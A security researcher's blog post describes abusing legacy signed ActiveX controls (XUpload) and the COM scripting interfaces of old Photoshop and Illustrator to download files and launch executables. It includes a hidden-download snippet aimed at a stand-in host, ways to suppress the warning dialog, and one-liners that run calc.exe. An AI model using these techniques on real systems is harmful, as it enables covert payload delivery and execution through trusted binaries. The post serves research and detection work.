Hexacorn

ActiveX is dead.

Unless used outside of the browser, locally, lolbin-ically.

Back in a day companies loved to implement extra functionality for the web via their own ActiveX controls and OCX files were ‘business as usual’. It didn’t last, and today you don’t even hear about ActiveX unless you talk to someone who is still in love with Visual Basic 6.0.

There is a legacy though. You can still find OCX files from these good ol’ times & interestingly enough, many of them are signed. Nothing stops us then from downloading them, registering them, and using their methods, which often facilitate typical red team tasks e.g. downloading and uploading files. Notably, many of these OCXs are still present on many older systems, especially in places where they come as a part of some ‘custom-built’, old-school software that is not widely known & heavily relies on technologies of the past (South Korean software market that used to rely on ActiveX comes to mind, but there are many western companies that still ship software with OCX files).

The example I am going to show is pretty simple. After quick googling around I found XUpload – this is an ActiveX control one could add to their web page to facilitate easier download/upload of files. It doesn’t work as a server that you could use from within Visual Basic Script, but you can still embed it as a GUI control using e.g. your beloved Visual Basic and call required methods. The other avenues could be re-enabling ActiveX and forcing old Internet Explorer instances (not only web browser itself, but potentially that still relies on IE WebControl) and injecting the HTML with the download instruction into them (this could be done on file level, or dynamically via windows messages, or even directly talking to IE control via WM_HTML_GETOBJECT,)

A masterfully crafted sample Visual Basic program facilitating a download for our example could look like this:

x.AddFile "http://foobar.com/foo", "c:\test\bar"
x.Visible = False
x.WarnOverwrite = False
x.Download

The only caveat is that a message box pops up:

so either you need it patch it in file (ruining the signed binary), in memory (risking code change detection), or send a message to the window to close it the moment it pops up.

It’s hardly ground breaking, but the stashes of old signed code available out there are pretty interesting to explore and am pretty sure I will be coming back to it in the future.

In this Twit that I posted a few weeks ago I demoed how to use older versions of Photoshop and Illustrator to execute calculator via their internal scripting engine that is accessible via COM from e.g. Visual Basic Script:

CreateObject("Photoshop.Application").DoJavaScript("File(""c:/windows/system32/calc.exe"").execute();")

CreateObject("Photoshop.Application").DoJavaScriptFile(JSPath)

where JSPath points to a JavaScript file with the following content:

File("c:/windows/system32/calc.exe").execute();

The “Photoshop.Application” object name (ProgID) can be replaced with “Illustrator.Application”, but the trick doesn’t work with “InDesign.Application” and “Soundbooth.Application”. And of course, you can use ProgID variants of the object names that are version-dependent e.g. “Photoshop.Application.<version>”.

One could potentially package some parts of Creative Suite, register appropriate Registry entries to ensure COM objects can be instantiated and potentially run the whole business logic from there (signed, trusted executables), but it would be cumbersome and it would quite easily detectable – all the processes would have the svchost.exe as a parent process and they use “/Automation” as their command line arguments.